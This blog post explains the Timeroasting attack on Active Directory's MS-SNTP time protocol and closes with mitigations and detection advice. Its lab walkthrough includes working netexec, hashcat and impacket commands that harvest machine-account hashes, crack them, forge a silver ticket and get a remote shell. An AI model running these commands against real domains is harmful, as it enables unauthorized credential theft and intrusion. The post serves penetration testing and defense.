Introduction

Some time ago i came across a CTF where no techniques worked for elevating foothold. Then someone mentioned “Timeroasting.” I went down the rabbit hole, found Tom Tervoort’s write-up explaining the attack, followed his steps—and cracked my way into a machine account with a weak password. That opened up lateral movement in the environment.

Everyone knows Kerberos falls apart if the time is more than five minutes out of sync. What almost nobody realizes is that the exact mechanism keeping those clocks aligned quietly leaks crackable data for every computer account in the domain. No credentials needed. No logs. No patch, either—because Microsoft built it this way on purpose.

That, in a nutshell, is Timeroasting, first described by Tom Tervoort (Secura) in 2023. Microsoft shrugged and said it’s working as intended, so here in 2026, this hole is still wide open across every Active Directory install on earth.

TL;DR

Credentials needed 0
Standard logs generated 0
Machine accounts hit per pass All of them
Patch status (2026) None, won’t get one

Why AD even cares about time

Kerberos tolerates a 5-minute skew between client and server. Beyond that, tickets get rejected and authentication breaks. That’s why AD needs tight time synchronization across every host in the domain, and it’s the reason Microsoft built their own flavor of NTP, called MS-SNTP, instead of relying on plain NTP.


MS-SNTP — a time protocol that’s actually authentication

A client (workstation, server, whatever) wants to know the time and be sure that the response comes from the real DC, and not from an attacker in the network who could move the time and break Kerberos.

How a normal exchange looks

sequenceDiagram
    Client->>DC: NTP request + RID
    DC->>DC: lookup machine account hash
    DC->>DC: signing_key = MD5(NT_hash)
    DC->>Client: signed NTP response
    Client->>Client: verify with own hash
  1. Client sends an NTP request to DC. A normal UDP/123 packet with an additional extension. In the Key Identifier field, the client provides its own RID (Relative Identifier, the last part of an SID — for example for DC01$ it can be 1001).

  2. DC receives the request, looks at the RID, finds in its database a machine account with the same RID, and takes the NT hash of this account.

  3. DC computes the signing key. This is the heart of the matter:

signing_key = MD5(NT_hash_of_machine_account)

Yes, MD5. Yes, without salt. Yes, without any iterations. Raw NT hash passed once through MD5.

  1. DC signs the response. Takes the whole NTP response (timestamp etc.), computes MD5 over (signing_key || ntp_response), attaches this signature to the packet and sends it to the client.

  2. Client verifies. The client knows its own NT hash (because that’s its own machine account password stored in SYSTEM\CurrentControlSet\Services\Netlogon\Parameters$MACHINE.ACC), so it computes the same MD5 and checks if the signatures match. If they match, the response is trusted.

Why this design makes sense (until it doesn’t)

Well thinking logically who other knows all the hashes? It’s DC because DC hoards all of the object hashes in the domain, so only DC can create a valid signature. An attacker in the network who would try to impersonate DC doesn’t know these hashes and won’t be able to create a valid signature. Safe, right?

Okay, but where is the vulnerability?

sequenceDiagram
    Attacker->>DC: NTP request + spoofed RID (1001)
    Note over DC: No authentication check<br/>No source check
    DC->>DC: lookup hash for RID 1001
    DC->>DC: signing_key = MD5(NT_hash)
    DC->>Attacker: signed NTP response
    Note over Attacker: Offline cracking<br/>hashcat -m 31300

Look at what I didn’t say earlier. Notice what’s missing from steps 1 and 2:

  • No one checks if the client who asks for the time is actually the owner of the RID given in the Key Identifier.
  • No one checks if the client is authenticated at all.
  • No one checks where the packet is coming from.

So as an attacker on the internal network, even from a host that isn’t joined to the domain, you can send a crafted NTP request with the Key Identifier set to any RID you want, let’s say 1001 (WORKSTATION-07$). DC would take the hash like a good boy, compute MD5(NT_hash), sign it and send it back.

You now have a known plaintext (the whole NTP response which you can see in the packet) plus an MD5 signature calculated with a hash you don’t know.

MS-SNTP doesn’t authenticate the client asking for the time. It only authenticates the answer. And that asymmetry is the entire bug.

This is a classic offline cracking scenario: for every password candidate we compute MD5(NT(candidate)) and check if the signature matches. Hashcat has it built in as mode 31300 and does it at billions of hashes per second on a normal GPU.

And that’s the whole trick. No logs on DC (w32time doesn’t log requests), no event in security logs, no suspicious traffic (UDP/123 to DC is normal), no authentication needed on your side.

The RID loop

Now the best part: you don’t have to actually know the RIDs. You just iterate through them — 1000, 1001, 1002, up to, say, 30000. For every one of them you’ll either get a signed response (RID exists, you have a hash to crack) or nothing (RID doesn’t exist).

After a single pass, you have hashes of all computer accounts in the entire domain. Not just machine accounts — user accounts too, if they have RIDs in scope. But in practice, the focus is on machine accounts, because they are the target.

One of my favorite tools, netexec, does it for us automatically:

nxc smb DC -M timeroast

Underneath it just iterates over RIDs and collects signatures in hashcat 31300 format.


How it compares

Kerberoasting AS-REP Roasting Timeroasting
Target Service accounts (SPNs) Users without preauth Machine accounts
Credentials needed Any domain user Any domain user None
What you get TGS-REP (RC4/AES) AS-REP (RC4) MD5 signature of NT hash
Hashcat mode 13100 / 19700 18200 31300
Logged 4769 (TGS request) 4768 (AS request) Nothing
Requires LDAP enumeration Yes (find SPNs) Yes (find no-preauth users) No (blind RID sweep)

Demo on lab.local

Time to put theory into practice. My lab setup:

  • Domain: lab.local
  • DC: DC01 @ 192.168.10.30 (Windows Server 2022)
  • Attacker: Kali on the PENTEST segment, no domain credentials, no foothold

That last part is important. I’m not going to authenticate to anything. I’m just going to ask DC01 what time it is.

Step 1 — Collecting hashes with NetExec

netexec ships with a timeroast module that does all the heavy lifting for us. Under the hood it iterates over RIDs, sends crafted MS-SNTP requests to the DC, and parses the signed responses straight into hashcat 31300 format.

nxc smb 192.168.10.30 -M timeroast
Machine account hashes

Machine account hashes

Three hashes came back, one for each machine account in the domain. Let’s save them to a file in clean format for hashcat:

nxc smb 192.168.10.30 -M timeroast 2>/dev/null | grep -oE '\$sntp-ms\$[a-f0-9]+\$[a-f0-9]+' > timeroast.hashes
cat timeroast.hashes

$sntp−msaa7b0fa756f625ac18fe815e464e8f24$1c0111e900000000000a00b8...
$sntp-ms$489bbfdf2d0ec438a6f41edbdd8f8e2a$1c0111e900000000000a00b8...
$sntp-ms$97905d5a930409e00222cc1c3b76eaa4$1c0111e900000000000a00b8...

Three accounts, three hashes. No authentication, no Kerberos traffic, no event in the security log on DC01. From the DC’s perspective, somebody just asked for the time three times in a row — which is the most boring traffic in any AD environment.

Step 2 — Cracking with hashcat

MS-SNTP signatures map to hashcat mode 31300. First instinct, point it at rockyou.txt and let it run:

hashcat -m 31300 timeroast.hashes /usr/share/wordlists/rockyou.txt

Exhausted. Zero cracked. And that’s already a useful lesson: rockyou is not magic. I deliberately weakened one account in this lab with the password Password123! — and rockyou doesn’t actually contain that exact string (it has Password123!! with two exclamation marks, but not the single one). Wordlist choice matters more than people think.

Exhausted hashcat

Exhausted hashcat

In a real engagement you’d pair a solid wordlist with rules. Something like rockyou.txt combined with OneRuleToRuleThemAll.rule would have caught Password123! easily:

hashcat -m 31300 timeroast.hashes /usr/share/wordlists/rockyou.txt -r OneRuleToRuleThemAll.rule

Let me prove the attack works with a custom wordlist containing the exact password:

echo 'Password123!' > custom.txt
hashcat -m 31300 timeroast.hashes custom.txt
hashcat cracking Password123!

hashcat cracking Password123!

Cracked in less than a second, on a CPU, inside a VM. On a proper GPU with a real wordlist + rules, this would chew through millions of candidates per second.

Step 3 — What we got, and what we didn’t

Out of three machine accounts in the domain, only one fell:

hashcat -m 31300 timeroast.hashes --show
hashcat –show output

hashcat –show output

The other two are DC01$ and another real machine account, both using their default randomly-generated 120-character passwords. No wordlist on Earth is going to crack those. Only LEGACY01$ the account I deliberately created with a weak human-set password, was vulnerable.

And that’s exactly the point of this whole post.

Timeroasting doesn’t break the cryptography of MS-SNTP. It exploits the moment when humans get involved — when an admin manually sets a password on a Linux host joining the domain, when a print server gets joined years ago and nobody touches it again, when a script provisions computer accounts with predictable passwords. The attack is universal. The vulnerability is human.

From here it’s a straight line, compute the NT hash, forge a Silver Ticket, own the box:

impacket-ticketer -nthash <NT_HASH> -domain-sid S-1-5-21-... -domain lab.local -spn cifs/LEGACY01.lab.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass LEGACY01.lab.local

Mitigations

Here’s the uncomfortable part: there is no patch. Microsoft was notified about Timeroasting in 2023 and classified it as working as designed. There’s no KB article to install, no security baseline that closes it, no GPO toggle. Every Active Directory in the world is vulnerable out of the box, and will stay that way for the foreseeable future.

What you can do is shrink the attack surface so that even when an attacker collects every machine account hash in the domain, none of them are crackable. Defense here is not about blocking the attack — it’s about making the loot worthless.

Well if i came across an engagement and had 30 minutes to check if the client is vulnerable to Timeroasting, in a reasonable scale this is what i would do:

1. Audit machine accounts with weak or stale passwords

The whole attack lives or dies on which machine accounts have human-set or stale passwords. Default randomly-generated 120-character passwords are uncrackable. Find the ones that aren’t.

Get-ADComputer -Filter * -Properties PasswordLastSet, UserAccountControl |
Where-Object { $_.UserAccountControl -band 0x10000 } |
Select-Object Name, PasswordLastSet

That filters for accounts with DONT_EXPIRE_PASSWORD set — a strong indicator that someone disabled rotation, which usually means a legacy host with a manually set password.

Also look for machine accounts with PasswordLastSet older than 60 days — Windows-joined machines rotate every 30 days by default, so anything older than that is either non-Windows or has rotation disabled.

2. Pay special attention to non-Windows joins

The biggest offenders in real environments are Linux hosts joined with realm/adcli, printers and MFPs, legacy appliances, and anything else that’s not a regular Windows workstation. These rarely rotate machine passwords automatically, and they often get joined with passwords set by hand from a runbook.

If you have any of these in the domain, treat their machine account passwords like service account passwords, long, random, rotated, and stored in a secret manager.

3. Force rotation on high-value hosts

For servers that you really don’t want compromised: Exchange, SCCM, ADFS, anything with elevated AD rights, consider scripting periodic forced rotation of the machine account password. That way even if someone collected the hash today, it’d be invalidated within days.

4. Detection

Standard SIEM rules for Kerberos abuse (4768/4769 anomalies, Kerberoasting patterns) will not catch Timeroasting. The traffic is plain UDP/123 and w32time does not log requests by default. If you want to detect this, you need custom rules looking for:

  • Bursts of NTP requests from a single source to a DC in a short window
  • NTP requests with the Key Identifier field populated, originating from hosts that are not domain members
  • Anomalous packet rates on UDP/123 to DCs

A starting point for packet capture:

tcpdump -i eth0 'udp port 123 and udp[48:4] != 0' -w ntp_auth.pcap

That filters for NTP packets where the Key Identifier field is non-zero — meaning the client is requesting authenticated time, which is the exact behavior Timeroasting relies on.

None of this is out-of-the-box anywhere I’ve seen. You have to build it yourself.

5. Network segmentation (partial mitigation)

If your network is properly segmented and untrusted zones can’t reach UDP/123 on DCs, an external attacker can’t pull this off without first getting onto a trusted segment. That doesn’t help against an insider or against anyone who already has a foothold on a domain-joined host, but it does raise the bar.


Three years later

Timeroasting is one of those attacks that, once you see it, feels almost obvious in hindsight. NTP in Active Directory was never just a time protocol, it’s an authentication mechanism, signed with material derived from machine account passwords, served up to anyone who asks. Microsoft built it that way 20 years ago for very good reasons. Tom Tervoort noticed in 2023 that those reasons stopped making sense at some point along the way, and Microsoft decided that backwards compatibility was worth more than closing the hole.

So here we are in 2026, with an attack that:

  • Requires zero credentials
  • Generates zero standard logs
  • Hits every machine account in the domain in a single pass
  • Has no patch, and won’t get one

The good news, if you can call it that, is that the attack is only as dangerous as your worst machine account password. Default Windows joins are safe. The danger lives in the legacy corners, the print server nobody touches, the Linux box joined three years ago, the script that provisioned 200 machine accounts with the same password. The same corners where every other AD attack also lives.

If you take one thing from this post, take this:

Next time you look at w32time in your services list, remember, it’s not just a clock.


References